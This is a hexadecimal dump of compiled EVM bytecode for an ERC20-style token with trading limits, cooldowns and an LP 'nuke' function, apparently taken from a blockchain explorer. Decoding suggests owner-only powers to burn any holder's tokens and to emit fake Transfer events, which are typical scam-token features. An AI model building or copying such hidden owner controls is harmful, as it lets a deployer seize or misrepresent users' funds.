37570706c792e0000000000000000000000602082015250565b6000614bca603583614061565b9150614bd582614b6e565b604082019050919050565b60006020820190508181036000830152614bf981614bbd565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614c5c603283614061565b9150614c6782614c00565b604082019050919050565b60006020820190508181036000830152614c8b81614c4f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614cee602683614061565b9150614cf982614c92565b604082019050919050565b60006020820190508181036000830152614d1d81614ce1565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614d5a602083614061565b9150614d6582614d24565b602082019050919050565b60006020820190508181036000830152614d8981614d4d565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b6000614dec602a83614061565b9150614df782614d90565b604082019050919050565b60006020820190508181036000830152614e1b81614ddf565b9050919050565b600081519050614e318161417a565b92915050565b600060208284031215614e4d57614e4c614108565b5b6000614e5b84828501614e22565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614e9a601b83614061565b9150614ea582614e64565b602082019050919050565b60006020820190508181036000830152614ec981614e8d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614f2c602483614061565b9150614f3782614ed0565b604082019050919050565b60006020820190508181036000830152614f5b81614f1f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614fbe602283614061565b9150614fc982614f62565b604082019050919050565b60006020820190508181036000830152614fed81614fb1565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061502a602083614061565b915061503582614ff4565b602082019050919050565b600060208201905081810360008301526150598161501d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006150bc602583614061565b91506150c782615060565b604082019050919050565b600060208201905081810360008301526150eb816150af565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061514e602383614061565b9150615159826150f2565b604082019050919050565b6000602082019050818103600083015261517d81615141565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006151ba601683614061565b91506151c582615184565b602082019050919050565b600060208201905081810360008301526151e9816151ad565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000615272604983614061565b915061527d826151f0565b606082019050919050565b600060208201905081810360008301526152a181615265565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000615304603583614061565b915061530f826152a8565b604082019050919050565b60006020820190508181036000830152615333816152f7565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000615370601383614061565b915061537b8261533a565b602082019050919050565b6000602082019050818103600083015261539f81615363565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000615402603683614061565b915061540d826153a6565b604082019050919050565b60006020820190508181036000830152615431816153f5565b9050919050565b600061544382614170565b915061544e83614170565b9250828203905081811115615466576154656146d2565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006154c8602183614061565b91506154d38261546c565b604082019050919050565b600060208201905081810360008301526154f7816154bb565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061555a602283614061565b9150615565826154fe565b604082019050919050565b600060208201905081810360008301526155898161554d565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006155ec602183614061565b91506155f782615590565b604082019050919050565b6000602082019050818103600083015261561b816155df565b9050919050565b600081905092915050565b50565b600061563d600083615622565b91506156488261562d565b600082019050919050565b600061565e82615630565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506156a681614144565b92915050565b6000602082840312156156c2576156c1614108565b5b60006156d084828501615697565b91505092915050565b6000819050919050565b60006156fe6156f96156f4846156d9565b614249565b614170565b9050919050565b61570e816156e3565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61574981614132565b82525050565b600061575b8383615740565b60208301905092915050565b6000602082019050919050565b600061577f82615714565b615789818561571f565b935061579483615730565b8060005b838110156157c55781516157ac888261574f565b97506157b783615767565b925050600181019050615798565b5085935050505092915050565b600060a0820190506157e760008301886142c3565b6157f46020830187615705565b81810360408301526158068186615774565b90506158156060830185614432565b61582260808301846142c3565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122078763639a5f0b345aa312abcb5c5a315dd6d6ac741d7e763f73f574fdbaac9f764736f6c634300081200330000000000000000000000003cbfb95e59a75517640714dc4ecd678c7500f24e

Deployed Bytecode

0x6080604052600436106103fe5760003560e01c80638ea5220f11610213578063c024666811610123578063dd62ed3e116100ab578063f11a24d31161007a578063f11a24d314610f58578063f2fde38b14610f83578063f637434214610fac578063f8b45b0514610fd7578063fe72b27a1461100257610405565b8063dd62ed3e14610e9c578063e2f4560514610ed9578063e884f26014610f04578063efdcafe714610f2f57610405565b8063c876d0b9116100f2578063c876d0b914610da1578063c8c8ebe414610dcc578063d257b34f14610df7578063d596f73e14610e34578063d85ba06314610e7157610405565b8063c024666814610cfd578063c17b5b8c14610d26578063c18bc19514610d4f578063c2b7bbb614610d7857610405565b8063a0d82dc5116101a6578063a9059cbb11610175578063a9059cbb14610c06578063aacebbe314610c43578063b62496f514610c6c578063bbbb3ffc14610ca9578063bbc0c74214610cd257610405565b8063a0d82dc514610b4a578063a165506f14610b75578063a457c2d714610b9e578063a4c82a0014610bdb57610405565b80639c3b4fdc116101e25780639c3b4fdc14610aa05780639dc29fac14610acb5780639ec22c0e14610af45780639fccce3214610b1f57610405565b80638ea5220f146109f65780639213691314610a21578063924de9b714610a4c57806395d89b4114610a7557610405565b80633582ad231161030e578063715018a6116102a157806375f0a8741161027057806375f0a874146109355780637bce5a04146109605780638095d5641461098b5780638a8c523c146109b45780638da5cb5b146109cb57610405565b8063715018a6146108a1578063730c1888146108b8578063751039fc146108e15780637571336a1461090c57610405565b80634fbee193116102dd5780634fbee193146107d15780636a486a8e1461080e5780636ddd17131461083957806370a082311461086457610405565b80633582ad231461071557806339509351146107405780633eb2b5ad1461077d57806349bd5a5e146107a657610405565b80631a8145bb1161039157806326ededb81161036057806326ededb81461064057806327c8f835146106695780632c3e486c146106945780632e82f1a0146106bf578063313ce567146106ea57610405565b80631a8145bb146105845780631f3fed8f146105af578063203e727e146105da57806323b872dd1461060357610405565b806318160ddd116103cd57806318160ddd146104da5780631816467f14610505578063184c16c51461052e578063199ffc721461055957610405565b806306fdde031461040a578063095ea7b31461043557806310d5de53146104725780631694505e146104af57610405565b3661040557005b600080fd5b34801561041657600080fd5b5061041f61103f565b60405161042c91906140e6565b60405180910390f35b34801561044157600080fd5b5061045c600480360381019061045791906141a6565b6110d1565b6040516104699190614201565b60405180910390f35b34801561047e57600080fd5b506104996004803603810190610494919061421c565b6110ef565b6040516104a69190614201565b60405180910390f35b3480156104bb57600080fd5b506104c461110f565b6040516104d191906142a8565b60405180910390f35b3480156104e657600080fd5b506104ef611133565b6040516104fc91906142d2565b60405180910390f35b34801561051157600080fd5b5061052c6004803603810190610527919061421c565b61113d565b005b34801561053a57600080fd5b50610543611205565b60405161055091906142d2565b60405180910390f35b34801561056557600080fd5b5061056e61120b565b60405161057b91906142d2565b60405180910390f35b34801561059057600080fd5b50610599611211565b6040516105a691906142d2565b60405180910390f35b3480156105bb57600080fd5b506105c4611217565b6040516105d191906142d2565b60405180910390f35b3480156105e657600080fd5b5061060160048036038101906105fc91906142ed565b61121d565b005b34801561060f57600080fd5b5061062a6004803603810190610625919061431a565b6112b0565b6040516106379190614201565b60405180910390f35b34801561064c57600080fd5b50610667600480360381019061066291906143d2565b611389565b005b34801561067557600080fd5b5061067e611466565b60405161068b9190614441565b60405180910390f35b3480156106a057600080fd5b506106a961146c565b6040516106b691906142d2565b60405180910390f35b3480156106cb57600080fd5b506106d4611472565b6040516106e19190614201565b60405180910390f35b3480156106f657600080fd5b506106ff611485565b60405161070c9190614478565b60405180910390f35b34801561072157600080fd5b5061072a61148e565b6040516107379190614201565b60405180910390f35b34801561074c57600080fd5b50610767600480360381019061076291906141a6565b6114a1565b6040516107749190614201565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f919061421c565b611554565b005b3480156107b257600080fd5b506107bb6115a0565b6040516107c89190614441565b60405180910390f35b3480156107dd57600080fd5b506107f860048036038101906107f3919061421c565b6115c6565b6040516108059190614201565b60405180910390f35b34801561081a57600080fd5b5061082361161c565b60405161083091906142d2565b60405180910390f35b34801561084557600080fd5b5061084e611622565b60405161085b9190614201565b60405180910390f35b34801561087057600080fd5b5061088b6004803603810190610886919061421c565b611635565b60405161089891906142d2565b60405180910390f35b3480156108ad57600080fd5b506108b661167e565b005b3480156108c457600080fd5b506108df60048036038101906108da91906144bf565b611744565b005b3480156108ed57600080fd5b506108f6611810565b6040516109039190614201565b60405180910390f35b34801561091857600080fd5b50610933600480360381019061092e9190614512565b61183c565b005b34801561094157600080fd5b5061094a61189f565b6040516109579190614441565b60405180910390f35b34801561096c57600080fd5b506109756118c5565b60405161098291906142d2565b60405180910390f35b34801561099757600080fd5b506109b260048036038101906109ad9190614552565b6118cb565b005b3480156109c057600080fd5b506109c9611956565b005b3480156109d757600080fd5b506109e061199d565b6040516109ed9190614441565b60405180910390f35b348015610a0257600080fd5b50610a0b6119c6565b604051610a189190614441565b60405180910390f35b348015610a2d57600080fd5b50610a366119ec565b604051610a4391906142d2565b60405180910390f35b348015610a5857600080fd5b50610a736004803603810190610a6e91906145a5565b6119f2565b005b348015610a8157600080fd5b50610a8a611a17565b604051610a9791906140e6565b60405180910390f35b348015610aac57600080fd5b50610ab5611aa9565b604051610ac291906142d2565b60405180910390f35b348015610ad757600080fd5b50610af26004803603810190610aed91906141a6565b611aaf565b005b348015610b0057600080fd5b50610b09611ac5565b604051610b1691906142d2565b60405180910390f35b348015610b2b57600080fd5b50610b34611acb565b604051610b4191906142d2565b60405180910390f35b348015610b5657600080fd5b50610b5f611ad1565b604051610b6c91906142d2565b60405180910390f35b348015610b8157600080fd5b50610b9c6004803603810190610b9791906145d2565b611ad7565b005b348015610baa57600080fd5b50610bc56004803603810190610bc091906141a6565b611aed565b604051610bd29190614201565b60405180910390f35b348015610be757600080fd5b50610bf0611bba565b604051610bfd91906142d2565b60405180910390f35b348015610c1257600080fd5b50610c2d6004803603810190610c2891906141a6565b611bc0565b604051610c3a9190614201565b60405180910390f35b348015610c4f57600080fd5b50610c6a6004803603810190610c65919061421c565b611bde565b005b348015610c7857600080fd5b50610c936004803603810190610c8e919061421c565b611ca6565b604051610ca09190614441565b60405180910390f35b348015610cb557600080fd5b50610cd06004803603810190610ccb91906145d2565b611cd9565b005b348015610cde57600080fd5b50610ce7611dbd565b604051610cf49190614201565b60405180910390f35b348015610d0957600080fd5b50610d246004803603810190610d1f9190614512565b611dd0565b005b348015610d3257600080fd5b50610d4d6004803603810190610d489190614552565b611e81565b005b348015610d5b57600080fd5b50610d766004803603810190610d7191906142ed565b611f0c565b005b348015610d8457600080fd5b50610d9f6004803603810190610d9a919061421c565b611f9f565b005b348015610dad57600080fd5b50610db6612018565b604051610dc39190614201565b60405180910390f35b348015610dd857600080fd5b50610de161202b565b604051610dee91906142d2565b60405180910390f35b348015610e0357600080fd5b50610e1e6004803603810190610e1991906142ed565b612031565b604051610e2b9190614201565b60405180910390f35b348015610e4057600080fd5b50610e5b6004803603810190610e56919061421c565b612112565b604051610e689190614201565b60405180910390f35b348015610e7d57600080fd5b50610e86612168565b604051610e9391906142d2565b60405180910390f35b348015610ea857600080fd5b50610ec36004803603810190610ebe91906145d2565b61216e565b604051610ed091906142d2565b60405180910390f35b348015610ee557600080fd5b50610eee6121f5565b604051610efb91906142d2565b60405180910390f35b348015610f1057600080fd5b50610f196121fb565b604051610f269190614201565b60405180910390f35b348015610f3b57600080fd5b50610f566004803603810190610f519190614612565b612227565b005b348015610f6457600080fd5b50610f6d6122d4565b604051610f7a91906142d2565b60405180910390f35b348015610f8f57600080fd5b50610faa6004803603810190610fa5919061421c565b6122da565b005b348015610fb857600080fd5b50610fc161240e565b604051610fce91906142d2565b60405180910390f35b348015610fe357600080fd5b50610fec612414565b604051610ff991906142d2565b60405180910390f35b34801561100e57600080fd5b50611029600480360381019061102491906142ed565b61241a565b6040516110369190614201565b60405180910390f35b60606006805461104e906146a1565b80601f016020809104026020016040519081016040528092919081815260200182805461107a906146a1565b80156110c75780601f1061109c576101008083540402835291602001916110c7565b820191906000526020600020905b8154815290600101906020018083116110aa57829003601f168201915b5050505050905090565b60006110e56110de612715565b848461271d565b6001905092915050565b60256020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600854905090565b6111456128e6565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b60115481565b60205481565b601f5481565b6112256128e6565b633b9aca006103e86001611237611133565b6112419190614701565b61124b9190614772565b6112559190614772565b811015611297576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128e90614815565b60405180910390fd5b633b9aca00816112a79190614701565b600b8190555050565b60006112bd848484612964565b61137e846112c9612715565b6113798560405180606001604052806028815260200161585360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061132f612715565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134889092919063ffffffff16565b61271d565b600190509392505050565b6113916128e6565b60005b83839050811015611460578383828181106113b2576113b1614835565b5b90506020020160208101906113c7919061421c565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161144591906142d2565b60405180910390a3808061145890614864565b915050611394565b50505050565b61dead81565b60135481565b601260009054906101000a900460ff1681565b60006009905090565b601560009054906101000a900460ff1681565b600061154a6114ae612715565b8461154585600360006114bf612715565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126b790919063ffffffff16565b61271d565b6001905092915050565b61155c6128e6565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601b5481565b601560029054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116866128e6565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61174c6128e6565b610258831015611791576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117889061491e565b60405180910390fd5b6103e882111580156117a4575060008210155b6117e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117da906149b0565b60405180910390fd5b826013819055508160118190555080601260006101000a81548160ff021916908315150217905550505050565b600061181a6128e6565b6000601560006101000a81548160ff0219169083151502179055506001905090565b6118446128e6565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b6118d36128e6565b826018819055508160198190555080601a81905550601a546019546018546118fb91906149d0565b61190591906149d0565b60178190555060196017541115611951576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194890614a50565b60405180910390fd5b505050565b61195e6128e6565b6001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555042601481905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b6119fa6128e6565b80601560026101000a81548160ff02191690831515021790555050565b606060078054611a26906146a1565b80601f0160208091040260200160405190810160405280929190818152602001828054611a52906146a1565b8015611a9f5780601f10611a7457610100808354040283529160200191611a9f565b820191906000526020600020905b815481529060010190602001808311611a8257829003601f168201915b5050505050905090565b601a5481565b611ab76128e6565b611ac182826134ec565b5050565b60105481565b60215481565b601e5481565b611adf6128e6565b611ae98282611cd9565b5050565b6000611bb0611afa612715565b84611bab8560405180606001604052806025815260200161587b6025913960036000611b24612715565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134889092919063ffffffff16565b61271d565b6001905092915050565b60145481565b6000611bd4611bcd612715565b8484612964565b6001905092915050565b611be66128e6565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611ce16128e6565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601560019054906101000a900460ff1681565b611dd86128e6565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611e759190614201565b60405180910390a25050565b611e896128e6565b82601c8190555081601d8190555080601e81905550601e54601d54601c54611eb191906149d0565b611ebb91906149d0565b601b819055506063601b541115611f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efe90614abc565b60405180910390fd5b505050565b611f146128e6565b633b9aca006103e86005611f26611133565b611f309190614701565b611f3a9190614772565b611f449190614772565b811015611f86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7d90614b4e565b60405180910390fd5b633b9aca0081611f969190614701565b600a8190555050565b611fa76128e6565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612015600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600161183c565b50565b602360009054906101000a900460ff1681565b600b5481565b600061203b6128e6565b620186a06001612049611133565b6120539190614701565b61205d9190614772565b82101561209f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209690614be0565b60405180910390fd5b6103e8600a6120ac611133565b6120b69190614701565b6120c09190614772565b821115612102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f990614c72565b60405180910390fd5b81600c8190555060019050919050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60175481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b60006122056128e6565b6000602360006101000a81548160ff0219169083151502179055506001905090565b61222f6128e6565b60005b838390508110156122ce57816016600086868581811061225557612254614835565b5b905060200201602081019061226a919061421c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806122c690614864565b915050612232565b50505050565b60195481565b6122e26128e6565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612351576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234890614d04565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b600a5481565b60006124246128e6565b600f5460105461243491906149d0565b4211612475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246c90614d70565b60405180910390fd5b6103e88211156124ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b190614e02565b60405180910390fd5b4260108190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161251e9190614441565b602060405180830381865afa15801561253b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061255f9190614e37565b9050600061258a61271061257c86856136b790919063ffffffff16565b61373190919063ffffffff16565b905060008111156125c5576125c4600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead8361377b565b5b600060266000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561269357600080fd5b505af11580156126a7573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846126c691906149d0565b90508381101561270b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270290614eb0565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361278c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278390614f42565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f290614fd4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516128d991906142d2565b60405180910390a3505050565b6128ee612715565b73ffffffffffffffffffffffffffffffffffffffff1661290c613a12565b73ffffffffffffffffffffffffffffffffffffffff1614612962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295990615040565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ca906150d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612a42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3990615164565b60405180910390fd5b60008103612a5b57612a568383600061377b565b613483565b601560009054906101000a900460ff161561307257612a7861199d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612ae65750612ab661199d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b1f5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b59575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b725750600960149054906101000a900460ff16155b1561307157601560019054906101000a900460ff16612c6c57602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c2c5750602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612c6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c62906151d0565b60405180910390fd5b5b602360009054906101000a900460ff1615612e3657612c8961199d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612d1057507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612d6a5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612e355743602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612df0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612de790615288565b60405180910390fd5b43602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f2957600b54811115612ecc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ec39061531a565b60405180910390fd5b600a54612ed883611635565b82612ee391906149d0565b1115612f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f1b90615386565b60405180910390fd5b613070565b602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612fc457600b54811115612fbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fb690615418565b60405180910390fd5b61306f565b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661306e57600a5461302183611635565b8261302c91906149d0565b111561306d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161306490615386565b60405180910390fd5b5b5b5b5b5b600061307d30611635565b90506000600c5482101590508080156130a25750601560029054906101000a900460ff165b80156130bb5750600960149054906101000a900460ff16155b80156131115750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156131675750602460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156131ab576001600960146101000a81548160ff02191690831515021790555061318f613a26565b6000600960146101000a81548160ff0219169083151502179055505b600960149054906101000a900460ff161580156131d45750601260009054906101000a900460ff165b156131e4576131e285613bae565b505b6000600960149054906101000a900460ff16159050602460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061329a5750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156132a457600090505b60008115613473576000601b54111561337f576132df60646132d1601b54886136b790919063ffffffff16565b61373190919063ffffffff16565b9050601b54601d54826132f29190614701565b6132fc9190614772565b6020600082825461330d91906149d0565b92505081905550601b54601e54826133259190614701565b61332f9190614772565b6021600082825461334091906149d0565b92505081905550601b54601c54826133589190614701565b6133629190614772565b601f600082825461337391906149d0565b9250508190555061344f565b6000601754111561344e576133b260646133a4601754886136b790919063ffffffff16565b61373190919063ffffffff16565b9050601754601954826133c5919061470156